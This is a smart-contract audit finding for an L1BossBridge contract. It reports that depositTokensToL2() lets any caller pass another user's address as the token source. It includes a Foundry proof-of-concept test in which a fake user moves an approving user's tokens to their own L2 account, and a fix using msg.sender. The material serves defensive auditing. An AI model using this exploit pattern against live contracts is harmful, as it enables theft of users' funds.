Summary
L1BossBridge.depositTokensToL2()
uses arbitrary from
in safeTransferFrom()
. The User approves the L1BossBridge
contract to spend her/his tokens. FakeUser can call depositTokensToL2()
and specify User address as the from
parameter in safeTransferFrom()
, allowing him/her to transfer Users tokens to himself/herself L2 account. In this way FakeUser steals the User tokens.
Vulnerability Details
@> function depositTokensToL2(address from, address l2Recipient, uint256 amount) external whenNotPaused {
if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
revert L1BossBridge__DepositLimitReached();
}
@> token.safeTransferFrom(from, address(vault), amount);
emit Deposit(from, l2Recipient, amount);
}
Impact
function testFakeUserCanDepositUserTokensAndStealTokens() public {
vm.startPrank(user);
uint256 amount = 10e18;
token.approve(address(tokenBridge), amount);
vm.startPrank(fakeUser);
vm.expectEmit(address(tokenBridge));
emit Deposit(user, fakeUserInL2, amount);
tokenBridge.depositTokensToL2(user, fakeUserInL2, amount);
assertEq(token.balanceOf(address(tokenBridge)), 0);
assertEq(token.balanceOf(address(vault)), amount);
vm.stopPrank();
}
Tools Used
Slither
Recommendations
Use msg.sender
instead of from
.
function depositTokensToL2(address from, address l2Recipient, uint256 amount) external whenNotPaused {
if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
revert L1BossBridge__DepositLimitReached();
}
- token.safeTransferFrom(from, address(vault), amount);
+ token.safeTransferFrom(msg.sender, address(vault), amount);
emit Deposit(from, l2Recipient, amount);
}